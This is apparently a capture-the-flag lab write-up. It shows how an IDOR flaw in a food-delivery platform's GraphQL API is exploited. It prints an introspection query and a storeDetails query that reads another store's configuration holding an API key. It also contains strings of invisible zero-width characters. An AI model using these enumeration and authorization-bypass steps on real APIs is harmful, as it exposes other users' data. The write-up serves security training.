Lab 22 — GrubFleet — IDOR in GraphQL Store Management API

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: api_enumeration, authorization_bypass, graphql_introspection, idor_exploitation

Summary

Walkthrough of the CUSTOM Web Lab 22 — GrubFleet — IDOR in GraphQL Store Management API. Task: Food delivery platform with merchant portal and GraphQL API. Solution: Exploited IDOR in storeDetails query to access other stores' internalConfig containing API key (flag).

Description

GrubFleet is a food delivery platform where restaurants manage their storefronts and customers browse menus to place orders. The platform features a merchant portal for restaurant owners and a customer-facing ordering interface.

You have been given credentials for a test merchant account that owns a small taco restaurant. Your goal is to find and retrieve the flag hidden somewhere in the platform.

Credentials: tacostand / tacostand123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A food delivery platform with a merchant portal. Given test credentials for a taco restaurant account, the goal is to find a hidden flag by exploiting the platform's API.

Analysis

The platform exposes multiple restaurant UUIDs through the public-facing interface:

• Bella Napoli: 050a1428-d70b-4dfa-8a0e-680ff6e1db1e
• Spice Route: 7a231933-646a-4835-a44f-066230c5643b
• Dragon Wok: c6ef94d7-4935-4784-af90-fc73548d6818
• Burger Barn: 453fa0a6-e08e-40e8-8dc6-33d5ee4df649
• Tacos del Carlos: ae9dbdc2-03f7-412e-ab97-7abdbe2f1c51 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After logging into the merchant portal at /merchant/login, a GraphQL API endpoint was discovered at /graphql. The key vulnerability is that the API checks authentication (is the user logged in?) but NOT authorization (does this user own this store?).

Solution

Step 1: Initial Reconnaissance

Explored the main page and collected all visible restaurant UUIDs from the URLs.

Step 2: Authentication

Logged into the merchant portal:

URL: /merchant/login
Credentials: tacostand / tacostand123

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: GraphQL API Discovery

Found the GraphQL endpoint linked in the merchant dashboard navigation at /graphql.

Step 4: Schema Introspection

Enumerated the GraphQL schema to discover available queries and types:

 graphql read-only • copy allowed Copy
{
  __schema {
    queryType {
      fields {
        name
        args {
          name
        }
      }
    }
  }
}

This revealed:

• storeDetails(orgUUID) query — accepts a store UUID parameter
• Restaurant type with an internalConfig field — contains sensitive configuration ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: IDOR Exploitation

The storeDetails query accepts any store UUID without verifying ownership. Queried another store's details:

 graphql read-only • copy allowed Copy
{
  storeDetails(orgUUID: "050a1428-d70b-4dfa-8a0e-680ff6e1db1e") {
    uuid
    name
    internalConfig
  }
}

Step 6: Flag Retrieval

Bella Napoli's internalConfig field contained the flag:

 json read-only • copy allowed Copy
{
  "partner_tier": "premium",
  "commission_rate": 0.12,
  "api_key": "FLAG{REDACTED}",
  "notes": "Priority support enabled"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering api_enumeration, authorization_bypass, graphql_introspection, idor_exploitation was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-26 • CUSTOM • Lab 22 — GrubFleet — IDOR in GraphQL Store Management API • Difficulty: Medium